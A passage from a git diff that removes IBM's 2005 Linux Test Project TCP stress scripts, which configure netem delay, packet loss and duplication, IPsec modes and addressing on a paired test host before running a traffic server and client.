- if [ x$rhost_ifname = x ]; then - rhost_ifname=`get_ifname rhost $LINK_NUM` - fi - $LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc del dev $rhost_ifname root netem" >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} || exit 1 - initialize_if rhost ${LINK_NUM} || exit 1 -} - - -#----------------------------------------------------------------------- -# -# Function: do_setup -# -# Description: -# Setup the system for testing -# -#----------------------------------------------------------------------- -do_setup() -{ - # Output the informaion - tst_resm TINFO "- Test duration is $NS_DURATION [sec]" - tst_resm TINFO "- Version of IP is IPv${IP_VER}" - - # Addtional server option - server_opt="" - - # Addtional client option - client_opt="" - - # Original TSO parameter - tso_orig="" - - # Check the remote host has netem functionality - if $DO_NET_DELAY || $DO_PACKET_LOSS || $DO_PACKET_DUP ; then - message=`check_netem` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - fi - - $DO_NET_DELAY && tst_resm TINFO "- Network delay is ${NET_DELAY}ms +/- ${NET_DELAY_DEFL}ms" - - $DO_PACKET_LOSS && tst_resm TINFO "- Packet loss rate is ${PACKET_LOSS_RATE}%%" - - $DO_PACKET_DUP && tst_resm TINFO "- Packet duplication rate is ${PACKET_DUP_RATE}%%" - - # Check the setkey command is available - if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac - fi - - # name of interface of the local/remote host - lhost_ifname=`get_ifname lhost $LINK_NUM` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL - fi - rhost_ifname=`get_ifname rhost $LINK_NUM` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL - fi - - # Initialize the system configuration - do_cleanup - - # Call do_cleanup function before exit - trap do_cleanup 0 - - # Add option for small sending test - if $DO_SMALL_SEND ; then - server_opt="-s" - fi - - # Configure window scaling parameter - if $DO_WINDOW_SCALING ; then - server_opt="-w" - client_opt="-w" - sysctl -w net.ipv4.tcp_window_scaling=1 >/dev/null - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to enable window scaling" - exit 1 - fi - else - sysctl -w net.ipv4.tcp_window_scaling=0 >/dev/null 2>&1 - fi - - # Configure DSACK parameter - if $DO_DSACK ; then - sysctl -w net.ipv4.tcp_dsack=1 >/dev/null - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to enable Duplicate SACK" - exit 1 - fi - else - sysctl -w net.ipv4.tcp_dsack=0 >/dev/null 2>&1 - fi - - # Configure SACK parameter - if $DO_SACK ; then - sysctl -w net.ipv4.tcp_sack=1 >/dev/null - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to enable SACK" - exit 1 - fi - else - sysctl -w net.ipv4.tcp_sack=0 >/dev/null 2>&1 - fi - - # Store the current TSO parameter, then configure it - offload_info=`mktemp -p $TMPDIR` - ethtool -k $lhost_ifname > $offload_info 2>/dev/null - fgrep "tcp segmentation offload" $offload_info >/dev/null 2>&1 - if [ $? -ne 0 ]; then - if $DO_TSO ; then - tst_resm TCONF "The device at $lhost_ifname does not support TSO." - rm -f $offload_info - exit 1 - fi - tso_orig=`fgrep "tcp segmentation offload" $offload_info | sed -e 's/^.*: //'` - if $DO_TSO ; then - server_opt="-w" - client_opt="-w" - ethtool -K $lhost_ifname tso on - else - ethtool -K $lhost_ifname tso off - fi - fi - rm -f $offload_info - - # Configure the network interface - case $IP_VER in - 4) - # Network portion of the IPv4 address - network_part=${IPV4_NETWORK:-"10.0.0"} - - # Netmask of the IPv4 network - network_mask=24 - - # Host portion of the IPv4 address - lhost_host_part=${LHOST_IPV4_HOST:-"2"} # local host - rhost_host_part=${RHOST_IPV4_HOST:-"1"} # remote host - - # Set IPv4 addresses to the interfaces - set_ipv4addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - set_ipv4addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - ;; - - 6) - # Network portion of the IPv6 address - network_part="fd00:1:1:1" - - # Netmask of the IPv6 network - network_mask=64 - - # Host portion of the IPv6 address - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - - # Set IPv6 addresses to the interfaces - add_ipv6addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - add_ipv6addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv6 address of the local/remote host - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; - esac - - netem_param= - - # Make the network delay - if $DO_NET_DELAY ; then - netem_param="delay ${NET_DELAY}ms ${NET_DELAY_DEFL}ms distribution normal" - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc add dev $rhost_ifname root netem $netem_param' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to make the delayed network" - exit 1 - fi - fi - - # Make some packets lost - if $DO_PACKET_LOSS ; then - tc_cmd="add" - if [ x"$netem_param" != x ]; then - tc_cmd="change" - fi - netem_param="loss ${PACKET_LOSS_RATE}% $netem_param" - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc $tc_cmd dev $rhost_ifname root netem $netem_param' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to use netem functionality" - exit 1 - fi - fi - - # Make some packets duplicated - if $DO_PACKET_DUP ; then - tc_cmd="add" - if [ x"$netem_param" != x ]; then - tc_cmd="change" - fi - netem_param="duplicate ${PACKET_DUP_RATE}% $netem_param" - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc $tc_cmd dev $rhost_ifname root netem $netem_param' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to use netem functionality" - exit 1 - fi - fi - - # Configure SAD/SPD - if $DO_IPSEC ; then - # Set SAD/SPD according to the variables - ipsec_log=`mktemp -p $TMPDIR` - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - rm -f $ipsec_log - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - rm -f $ipsec_log - exit 1 - fi - fi - - # Make sure the connectvity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity." - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity." - exit 1 - fi - ;; - esac - -} - -#----------------------------------------------------------------------- -# -# Main -# -# - -do_setup - -# Find the available consecutive ports -server_port=`find_portbundle tcp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a tcp traffic server -info_file=`mktemp -p $TMPDIR` -ns-tcpserver -b -f $IP_VER -p $server_port -o $info_file $server_opt -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a tcp traffic server." - rm -f $info_file - exit 1 -fi - -while true ; do - if [ -s $info_file ]; then - break - fi -done - -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Run a tcp taffic client -ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-tcpclient -b -f $IP_VER -S $lhost_addr -p $server_port $client_opt' ; echo $?'` -if [ $ret -ne 0 ]; then - tst_resm TFAIL "Failed to run a tcp traffic client" - exit 1 -fi - -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - killall -SIGHUP ns-tcpserver - break - fi - - # Watch the TCP traffic server - ps auxw | fgrep ns-tcpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "tcp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02 deleted file mode 100644 index 7591fd66..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic02 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03 deleted file mode 100644 index 82477c37..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic03 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04 deleted file mode 100644 index 0991fea4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic04 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05 deleted file mode 100644 index 433b13e9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic05 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06 deleted file mode 100644 index 299083bb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic06 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07 deleted file mode 100644 index 9509ecb3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic07 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08 deleted file mode 100644 index 47018473..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic08 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09 deleted file mode 100644 index 8b587587..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic09 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10 deleted file mode 100644 index 4c39d56e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic10 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11 deleted file mode 100644 index a568dda4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic11 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12 deleted file mode 100644 index 7716aaa2..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-basic12 -# -# Description: -# This test is simlar to tcp4-uni-basic01 except for the following condition -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=tcp4-uni-basic12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-basic01 diff --git a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13 b/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13 deleted file mode 100644 index 1e4fa6b8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; 